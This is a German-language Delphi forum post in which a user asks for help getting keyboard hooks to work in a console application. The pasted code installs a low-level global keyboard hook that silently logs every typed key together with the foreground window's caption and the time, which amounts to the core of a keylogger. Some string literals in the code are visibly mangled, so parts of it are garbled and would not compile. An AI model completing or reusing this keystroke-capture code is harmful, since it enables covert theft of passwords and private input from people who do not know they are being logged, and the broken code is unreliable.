Einzelnen Beitrag anzeigen

ToXiC

Registriert seit: 28. Okt 2007
52 Beiträge
 
Delphi 2005 Personal
 
#3

Re: hooks createn in einer konsolen-anwendung

  Alt 16. Nov 2008, 22:18
danke erstmal für deine schnelle antwort.


hier ist der relevante code:



Delphi-Quellcode:
procedure KeyboardHookPreExecute(Hook: THook; var Hookmsg: THookMsg);
  procedure write(msg: string);
  var pid: dword;
  begin
    if msg <> 'then
    begin
      if (GetForegroundWindow <> accap) then
        begin
        GetWindowThreadProcessID(GetForegroundWindow(),@pid);
        log := log + activecaption + ' - ' + TimeToStr(Time);
        end;
      log := log + msg;
      accap := GetForegroundWindow;
    end;
  end;

var
  pKeyHookStruct: PKBDLLHOOKSTRUCT;
  KeyHookStruct: KBDLLHOOKSTRUCT;
  ch1, ch2: Char;
begin
  pKeyHookStruct := PKBDLLHOOKSTRUCT(Hookmsg.LParam);
  KeyHookStruct := pKeyHookStruct^;
  if (KeyHookStruct.Flags and LLKHF_UP = 0) then //Keydown
  begin
    if IsPrintableKey(KeyHookStruct.vkCode) and vkCodeToChar(KeyHookStruct.vkCode, ch1, ch2) then
      begin
      if ch1 <> #0 then write(ch1);
      if ch2 <> #0 then write(ch2);
      end
    else
      begin

      write(DisplayVKey(KeyHookStruct.vkCode));
      if DisplayVKey(KeyHookStruct.vkCode) = '[Enter]then
        log := log + '
';

      end;
  end;
end;



begin
  KeyboardHook := TLowLevelKeyboardHook.Create(nil);
  KeyboardHook.OnPreExecute := KeyboardHookPreExecute;
  KeyboardHook.Active := true;
  log := '';
end.
die prototypen der procedures sind nicht vorher in irgentwelchen klassen erwähnt worden.
ich weiß nciht ganz genau wie du das mit den klassen meinst.
Chris
  Mit Zitat antworten Zitat